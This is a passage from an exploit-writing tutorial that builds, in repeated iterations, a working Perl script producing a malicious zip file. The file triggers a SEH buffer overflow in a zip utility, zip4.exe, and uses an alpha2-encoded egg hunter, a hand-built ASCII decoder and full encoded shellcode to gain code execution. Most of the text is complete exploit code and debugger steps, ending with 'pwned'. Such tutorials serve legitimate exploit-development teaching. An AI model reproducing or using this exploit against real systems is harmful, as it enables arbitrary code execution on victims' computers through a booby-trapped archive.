"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" . "\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" . "\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" . "\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" . "\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" . "\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" . "\x46\x6a\x41\x41"; my $rest = "D" x ($size-length($payload.$shellcode)); $payload=$payload.$rest.$shellcode.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n";
Create the zip file, load it in zip4.exe, attach the debugger, trigger the crash. Set a breakpoint at your SEH address and pass the exception. Breakpoint should be hit.
Step through the following instructions :
- let the pop pop ret execute and land at nseh
- the jump back instruction at nseh will execute a jump back to 0x0013F8A2, where our second jump back is located
- execute this second jump back, we land at the first popad instruction.
- step through all 72 popad instructions. Right after the last popad instruction is executed, our registers and stack look like this :
ESP now points at 0x0013F90C. EIP now sits at 0x0013F884, so that is above the address in ESP. That means that – if we can write to ESP, we might be able to get the reproduced decoded code to execute.
The first hurdle is taken.
The next step is to write the custom decoder. Before we can do that, we need to evaluate/modify the instructions that we want to get produced by the custom decoder.
The initial logic of using the value in ebp to populate edx doesn’t make sense anymore. ebp is now overwritten with 41414141, so we cannot use that address as an offset to the begin of the egg hunter. We need to use something that is dynamically generated, something that is already in the same address range, so we can just add or sub some bytes in order to get to the base address of the egg hunter.
As explained above, we cannot take the value from ebp to build a new value in edx… But there’s an easy fix for this. Look at the stack again.
The 72 popad instructions made esp point at 0x0013F90C. The second address on the stack (at 0x0013F910) contains “0x0013F930″, so perhaps we can use that value as base for edx, and do some basic math, in order to make it point at the address of the egg hunter (0x0013F58E). In fact, if we put 0x0013F930 in edx, we have to subtract 930 bytes (0x3A2) from that value to get to our desired result :
= 8 bytes of opcode
In short, before the custom decoder will run, we need to get the 2nd address from the stack into edx. Easy : just do 2 pop edx instructions right after the 72 popad’s and we get what we want (0x5a = “Z”). Each pop instruction will change esp with 4 bytes, but we will still have plenty of space between the end of the custom decoder and the location where the reproduced code will be written to, to make it work.
Let’s see if our theory works :
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; #alpha2 encoded egg hunter - w00t - basereg EDX my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA". "Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW". "LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $espalign="\x61" x 72; #make esp happy my $edxalign="\x5a\x5a"; #make edx happy too my $filler2 = "A" x (102-length($espalign.$edxalign)); my $jmpback="\x74\xf7"; #jump back 102 bytes - to $espalign my $filler3 = "A" x (102-length($jmpback)); my $filler1= "A" x ($offset - length($filename.$egghunter. $espalign.$edxalign.$filler2.$jmpback.$filler3)); my $nseh="\x74\xf7\x90\x90"; #jump back 102 bytes my $seh=pack('V',0x00415A68); my $payload = $filename.$egghunter.$filler1. $espalign.$edxalign.$filler2. $jmpback.$filler3. $nseh.$seh; my $shellcode = "w00tw00t". "\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . "\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" . "\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" . "\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" . "\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" . "\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" . "\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" . "\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" . "\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" . "\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" . "\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" . "\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" . "\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" . "\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" . "\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" . "\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" . "\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" . "\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" . "\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" . "\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" . "\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" . "\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" . "\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" . "\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" . "\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" . "\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" . "\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" . "\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" . "\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" . "\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" . "\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" . "\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" . "\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" . "\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" . "\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" . "\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" . "\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" . "\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" . "\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" . "\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" . "\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" . "\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" . "\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" . "\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" . "\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" . "\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" . "\x46\x6a\x41\x41"; my $rest = "D" x ($size-length($payload.$shellcode)); $payload=$payload.$rest.$shellcode.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n";
As expected, after the 2 pop edx instructions were executed, edx now contains 0x0013F930.
That’s great
Does everything still looks fine ? Are you sure ?
Look at esp too. Esp now points at 0013F914, and that may be too far.
After all, If our custom decoder reproduces 8 bytes of code, then the first bye of the reproduced 8 byte opcode will be located at 0x0013F914 – 8 = 0013F90C
That will be a problem, because there are a number of instructions (starting at 0013F908) that would prevent these instructions from getting executed.
When the custom decoder finishes, it will simply execute the next instructions (A’s in our case, 0×41 or INC ECX), until it reaches the reproduced code. As we can see in the CPU view, we have some instructions that would break our execution flow (there’s the jump back, followed by 2 LEAVE instructions… in other words, if the reproduced code is written after those jump back & leave instructions, we would never reach them).
So instead of doing 72 popad’s, we’ll just do 71 popads, so ESP would point 32 bytes higher. Of course, we’ll have less space to put our custom decoder, but let’s see if that really is an issue.
Executing only 71 popad’s will change things again :
Change the code (change from 72 popad’s to 71 popad’s)
After 71 popad’s are executed, (before the pop edx instructions are executed), the stack and registers look like this :
Hmmm – the stack contains A’s and some other useless crap, so that’s not going to help. We can no longer take the second value from the stack. And there is nothing in the useful in the registers either….
How can we get a good starting value in edx if there is nothing on the stack, and no registers point to a good value ?
Ah well, I lied. There is a register that can be used. In fact, we can just use esp.
It points to a usable address, so instead of doing 2 pop edx instructions, we could also put the value from esp into edx (basically do a push esp (0×54 = “T”) and pop edx.)
If we execute those 2 instructions after the 71 popad’s, edx contains 0x0013F8EC. In order to get to 0x0013F58E, we have to subtract 862 bytes (0x35E) from edx.
ok, so the instructions to reproduce are
(8 bytes of opcode)
The custom decoder that will reproduce those instructions looks like this :
(I already explained how to build this encoder in the QuickZip article part 1 (on the Offensive Security Blog), so I won’t explain it again)
Block 1 : reproducing 0×00 0×00 0xff 0xe2
First, clear eax :
"\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A".
Next, set eax to E2FF0000 and push it to the stack
"\x2d\x55\x55\x55\x5F". "\x2d\x55\x55\x55\x5F". "\x2d\x56\x55\x56\x5E". "\x50"
= 26 bytes of code
Block 2 : reproducing 0×81 0xea 0x5e 0×03
First, clear eax :
"\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A".
Next, set eax to 035EEA81 and push it to the stack :
"\x2d\x2A\x5A\x35\x54". "\x2d\x2A\x5A\x36\x54". "\x2d\x2B\x61\x35\x54". "\x50"
= 26 bytes of code
Oh – by the way – in case you are still struggling to build this decoder… pvefindaddr v1.24 (and up) includes a new feature that will produce an ascii encoder for you.
Quick preview :
ok, it’s not perfect, because you will have to filter out bad characters yourself (such as 0x5C), but at least this should give you a head start.
Version 1.26 (and higher) of pvefindaddr will include a basic bad char filter for this decoder and will allow you to specify a file (instead of typing the bytes) that contains the shellcode bytes that need to be wrapped into a decoder too. Quick demo ?
Or, perhaps even better, you will also be able to do this :
(basically generate opcode and encode it right away :-) )
(stay tuned – this new version will be released soon)
Anyways, back to where we’ve left off… the total size of the custom decoder is 52 bytes.
We already used 71 bytes for the popad instructions, and a few more bytes to get something into edx. That means that we cannot add the custom decoder in this block of 102 bytes ($filler2).
How are you going to structure the payload ? Where are you going to put the custom encoder ?
Let’s find out
We have to put the custom decoder into the other block of 102 bytes ($filler3), and use the remaining bytes of $filler2 (after the popad’s and edx alignment), to jump to the custom decoder at $filler 3. (We really have to make that jump forward because $filler3 starts with a jump back. Without the jump forward at $filler2, we would just trigger the jump back at the begin of $filler3 again, and end up in a loop. Kinda nice to see – but pretty useless at the same time).
The jump forward will need to be a short jump forward. A jump forward of about 32 bytes would be fine.
Since we have to use a conditional jump (character set limitation, remember ?), we need to look at the state of the flags.
C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 1 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDF000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000)
Zero flag is 1, so we can use 0×74, with an offset of let’s say 0×20 (space, valid character in our buffer). Let’s put 0×74 0×20 after the push esp / pop edx instructions, and find out where that leads us to :
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; #alpha2 encoded egg hunter - w00t - basereg EDX my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA". "Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW". "LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $espalign="\x61" x 71; #make esp happy #make edx happy + jump to $filler3 (32 bytes forward) my $edxalign="\x54\x5a\x74\x20"; my $filler2 = "A" x (102-length($espalign.$edxalign)); my $jmpback="\x74\xf7"; #jump back 102 bytes - to $espalign my $filler3 = "A" x (102-length($jmpback)); my $filler1= "A" x ($offset - length($filename.$egghunter. $espalign.$edxalign.$filler2.$jmpback.$filler3)); my $nseh="\x74\xf7\x90\x90"; #jump back 102 bytes my $seh=pack('V',0x00415A68); my $payload = $filename.$egghunter.$filler1. $espalign.$edxalign.$filler2. $jmpback.$filler3. $nseh.$seh; my $shellcode = "w00tw00t". "\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . "\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" . "\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" . "\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" . "\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" . "\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" . "\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" . "\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" . "\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" . "\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" . "\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" . "\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" . "\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" . "\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" . "\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" . "\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" . "\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" . "\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" . "\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" . "\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" . "\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" . "\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" . "\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" . "\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" . "\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" . "\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" . "\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" . "\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" . "\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" . "\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" . "\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" . "\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" . "\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" . "\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" . "\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" . "\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" . "\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" . "\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" . "\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" . "\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" . "\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" . "\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" . "\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" . "\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" . "\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" . "\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" . "\x46\x6a\x41\x41"; my $rest = "D" x ($size-length($payload.$shellcode)); $payload=$payload.$rest.$shellcode.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n";
After the push esp/pop edx instructions are executed, we see the jump forward, which will properly jump over the jmpback code, and land in $filler3. So at that location (basically at $filler3 + 3 bytes padding), we can write our custom decoder.
Let’s try :
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; #alpha2 encoded egg hunter - w00t - basereg EDX my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA". "Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW". "LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $espalign="\x61" x 71; #make esp happy #make edx happy + jump to $filler3 (32 bytes forward) my $edxalign="\x54\x5a\x74\x20"; my $filler2 = "A" x (102-length($espalign.$edxalign)); my $jmpback="\x74\xf7"; #jump back 102 bytes - to $espalign my $decoder = "AAA". #3 bytes padding needed before decoder "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2d\x55\x55\x55\x5F". "\x2d\x55\x55\x55\x5F". "\x2d\x56\x55\x56\x5E". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2d\x2A\x5A\x35\x54". "\x2d\x2A\x5A\x36\x54". "\x2d\x2B\x61\x35\x54". "\x50"; my $filler3 = "A" x (102-length($jmpback.$decoder)); my $filler1= "A" x ($offset - length($filename.$egghunter. $espalign.$edxalign.$filler2.$jmpback.$decoder.$filler3)); my $nseh="\x74\xf7\x90\x90"; #jump back 102 bytes my $seh=pack('V',0x00415A68); my $payload = $filename.$egghunter.$filler1. $espalign.$edxalign.$filler2. $jmpback.$decoder.$filler3. $nseh.$seh; my $shellcode = "w00tw00t". "\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . "\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" . "\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" . "\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" . "\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" . "\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" . "\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" . "\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" . "\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" . "\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" . "\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" . "\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" . "\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" . "\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" . "\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" . "\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" . "\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" . "\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" . "\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" . "\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" . "\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" . "\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" . "\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" . "\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" . "\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" . "\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" . "\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" . "\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" . "\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" . "\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" . "\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" . "\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" . "\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" . "\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" . "\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" . "\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" . "\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" . "\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" . "\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" . "\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" . "\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" . "\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" . "\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" . "\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" . "\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" . "\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" . "\x46\x6a\x41\x41"; my $rest = "D" x ($size-length($payload.$shellcode)); $payload=$payload.$rest.$shellcode.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n";
After the custom decoder finishes reproducing the original code, we can see that it has nicely written the code a few bytes below the end of the decoder (see screenshot below, reproduced code can be found at 0x0013F8E4)
Conveniently, the INC ECX instructions (A’s) between the end of the decoder and the reproduced bytecode, will act as a nop here. So when the decoder has finished, it will execute a bunch of harmless inc ecx instructions, and will eventually execute the sub edx,35E and jmp edx instructions.
Step through until the jmp edx instruction. Don’t make the jump yet, just verify that EDX now points at the start of the egg hunter :
That looks fine.
If you now press F9, the egg hunter should run, locate the shellcode, and execute it :
pwned !
Peter Van Eeckhoutte (a.k.a. “corelanc0d3r”) has been working in IT System Engineering and Security since 1997. He currently serves as IT Infrastructure Manager and Security Officer for a large European company.
He is owner of the Corelan Blog, author of several exploit writing tutorials, a variety of free tools, maintains/moderates an exploit writing forum, and founder of the Corelan Team, which is a group of people that share the same interests : gathering and sharing knowledge.
Peter is 35 years old and currently lives in Deerlijk, Belgium. You can follow him on twitter or reach him via peter dot ve [at] corelan {dot} be.
